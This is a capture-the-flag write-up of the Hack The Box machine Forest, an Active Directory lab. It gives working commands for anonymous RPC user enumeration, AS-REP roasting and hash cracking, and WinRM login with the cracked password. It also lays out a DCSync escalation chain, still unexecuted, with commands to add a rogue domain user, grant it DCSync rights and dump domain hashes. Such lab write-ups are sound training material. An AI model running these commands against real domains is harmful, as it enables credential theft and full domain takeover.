Forest¶

Engagement Status: User Flag Only

This writeup covers my user flag capture on Forest (2 Jan 2026). The Domain Admin privesc chain (Account Operators → Exchange Windows Permissions → WriteDACL → DCSync) has been mapped via BloodHound but the system flag is not yet captured. Notes will be expanded when that chain is completed.

Machine Profile

OS: Windows Server 2016 (Active Directory) Difficulty: Easy IP: 10.10.10.161 Domain: htb.local Status: User flag captured 2 Jan 2026 · root pending Key techniques (user): Anonymous RPC user enumeration · AS-REP Roasting

Reconnaissance¶

A pure AD box — no HTTP, no SMB shares of interest:

53     DNS
88     Kerberos
135    MSRPC
139    NetBIOS
389    LDAP
445    SMB
636    LDAPS
3268/9 LDAP GC
5985   WinRM

Anonymous SMB allows enumeration of users via RPC:

rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers

A long list of accounts — most look like Exchange-related service accounts (SM_*, HealthMailbox*). One stands out as a real service: svc-alfresco.

User Flag — AS-REP Roasting¶

svc-alfresco has DONT_REQUIRE_PREAUTH set. Roast it:

impacket-GetNPUsers htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161

Hash returned. Crack with hashcat:

hashcat -m 18200 svc-alfresco.hash /usr/share/wordlists/rockyou.txt
# svc-alfresco : s3rvice

WinRM Access¶

svc-alfresco is a member of Remote Management Users → WinRM is open to it:

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

User flag on the desktop.

BloodHound — svc-alfresco group memberships

Privilege Escalation — Mapped, Not Yet Executed¶

BloodHound shows the canonical Forest escalation chain:

svc-alfresco → member of Account Operators → can add a controlled account to Exchange Windows Permissions → which has WriteDACL on the domain object → grant DCSync rights → dump krbtgt → pass-the-hash as Administrator.

The full chain in commands is documented for execution:

# 1. As Account Operators, create a new user
net user attacker P@ssw0rd123! /add /domain

# 2. Add the new user to Exchange Windows Permissions
Add-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "attacker"

# 3. Abuse WriteDACL to grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" \
    -PrincipalIdentity attacker -Rights DCSync

# 4. DCSync from the attacker box
impacket-secretsdump htb.local/attacker:'P@ssw0rd123!'@10.10.10.161

Will update this section once executed and the system flag is captured.

Key Takeaways So Far¶

enumdomusers via anonymous RPC is alive in 2026. Always check before you start guessing usernames — Forest's entire enumeration phase relies on it.
AS-REP Roasting + Remote Management Users membership is a complete user-flag path with no credentials needed up front. Highly reproducible against real-world AD environments that have ever deployed Exchange.
The Account Operators → Exchange Windows Permissions privesc is one of the most documented AD attack patterns — pending execution to capture root.

Tools Used¶

nmap · rpcclient · impacket-GetNPUsers · hashcat · evil-winrm · BloodHound